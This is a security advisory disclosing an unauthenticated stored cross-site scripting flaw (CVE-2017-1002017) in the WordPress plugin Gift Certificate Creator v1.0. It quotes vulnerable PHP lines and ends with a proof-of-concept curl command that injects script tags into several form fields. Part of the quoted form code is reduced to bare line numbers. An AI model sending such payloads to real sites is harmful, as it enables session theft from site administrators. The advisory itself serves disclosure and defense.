VDB-ID: 191 Title: Unauthenticated Stored XSS Vulnerability in Wordpress plugin gift-certificate-creator v1.0 Vulnerability Date: 2017-05-15 CVEIDs: CVE-2017-1002017 Credit: Larry W. Cashdollar, @_larry0 URL: http://www.vapidlabs.com/advisory.php?v=191 Download: https://wordpress.org/plugins/gift-certificate-creator/ Vendor: Bob Cares https://bobcares.com/ Notified: 2017-05-17 Vendor Contact: plugins@wordpress.org Description: Gift Certificate Creator WordPress plugin allows you to manage gift certificates on your website. In a convenient front-end UI provided by this plugin, your site visitors can enter the amount and user details. On form submission, the user details will be sent to the administrator. Also, the administrator can view the list of all the certificate requests. Vulnerability: Publically accessible pages that are using the shortcode ‘[gift_certificate_form]’ allow any user to add gift certificate entries into the database. These entries are listed by the Wordpress administrator when visiting the plugin admin page. This action is performed by gc-list.php which doesn't sanitize the entries before displaying them. This allows malicious javascript to be injected into the WordPress database. In file giftcertificates.php 141: if ($_REQUEST['action'] == 'Submit') { 144: //if (!empty($_REQUEST['cert_amount']) && !empty($_REQUEST['cc_number']) && !empty($_REQUEST['cc_sec_code'])) { 145: if (!empty($_REQUEST['cert_amount']) && !empty($_REQUEST['cc_sec_code'])) { 147: $gcmObj->createNewGCM($_REQUEST); 149: writeLog(" amount ".$_REQUEST['cert_amount']." and email ".$_REQUEST['cc_sec_code']." are posted successfully", basename(__LINE__), basename(__FILE__)); 152: $gcmObj->sendGCMReportEmail(GC_MAIL_TO, GC_MAIL_FROM, GC_MAIL_SUBJECT, $_REQUEST); 153: $_REQUEST = array(); 212-
213- 214- 215- 216: 217- 218- 219- 220: 221- 222- 223- 224: 225- 226- 227- 228: 229- 230- 231- 232: 234- 235- 236- 237-
Certificate Amount:
Your Name: (optional)
Recipient Name: (optional)
Recipient Email:
Recipient Address: 233-
Exploit: $ curl http://example/index.php/2017/05/16/gift-certificates/?cert_amount=50&user_name=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&receip_name=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&cc_sec_code=no%40me.net&receip_address=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&action=Submit